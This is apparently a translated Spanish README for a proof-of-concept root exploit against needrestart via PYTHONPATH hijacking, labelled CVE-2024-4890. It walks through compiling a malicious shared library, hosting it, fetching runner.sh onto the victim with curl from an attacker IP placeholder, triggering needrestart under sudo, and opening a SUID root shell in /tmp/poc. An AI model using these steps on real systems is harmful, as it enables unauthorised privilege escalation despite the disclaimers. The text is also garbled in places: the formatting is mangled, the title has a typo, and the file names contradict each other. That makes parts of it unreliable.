
Exploit PoC para CVE-2024-4890: escalada de privilegios de Sudo mediante neecdrestart (>=3.8). Solo para laboratorios éticos. Scripts en Python y C.
Solo para uso en laboratorio en entornos controlados. No explote en sistemas de producción sin autorización explícita. Este PoC tiene fines educativos únicamente. El autor no se hace responsable por cualquier uso indebido o acceso no autorizado.
CVE-2024-4890 es una vulnerabilidad crítica en needrestart (versiones >= 3.8) que permite la ejecución de código arbitrario con privilegios elevados. El problema surge del manejo inseguro de variables de entorno y archivos de configuración durante el escaneo de procesos.
Específicamente, cuando se ejecuta con sudo, needrestart inspecciona los procesos de Python en ejecución, incluyendo su variable de entorno PYTHONPATH. Un atacante puede secuestrar esto estableciendo un PYTHONPATH personalizado que apunte a un directorio controlado (por ejemplo, /tmp/attacker). Dentro de este directorio, se coloca un módulo malicioso (__init__.so) en una estructura falsa de importlib. Cuando needrestart intenta importarlo como root (para verificar librerías), el payload se ejecuta, otorgando acceso root.
Este PoC demuestra el exploit mediante un proceso Python señuelo, una librería compartida maliciosa (compilada desde C) y un script de automatización.
needrestart >= 3.8 y acceso sudo al mismo.gcc (para compilación), curl, python3.Coloque estos en /tmp/attacker en la máquina objetivo.
e.py: Script Python señuelo (se ejecuta en bucle, espera a que el payload tenga éxito).runner.sh: Script de automatización para configurar y ejecutar el señuelo.lib.c a __init__.so y alójelo:gcc -shared -fPIC -o init.so lib.c
python3 -m http.server 8000
Máquina objetivo (Víctima):
/tmp/attacker.main.py (nota: en el original dice "Copy the main.py", pero en la estructura se menciona e.py. Se traduce tal cual).runner.sh:curl http://<IP_ATACANTE>:<PUERTO>/runner.sh -o /tmp/attacker/runner.sh
chmod +x /tmp/attacker/runner.sh
Ejecute la configuración en una terminal:
cd /tmp/attacker && ./runner.sh
Esto crea el módulo malicioso, el script señuelo e inicia el proceso Python secuestrado.
sudo /usr/sbin/needrestartneedrestart detecta el proceso señuelo, lee PYTHONPATH e importa el __init__.so malicioso como root—ejecutando el payload.
runner.sh):/tmp/poc (shell SUID root creada por el payload) y lanza una shell root:
sudo /tmp/poc -p
Limpieza: rm -rf /tmp/attacker /tmp/poc (y elimine la entrada de sudoers si se agregó).Indicador de éxito: whoami muestra root o id muestra uid=0(root).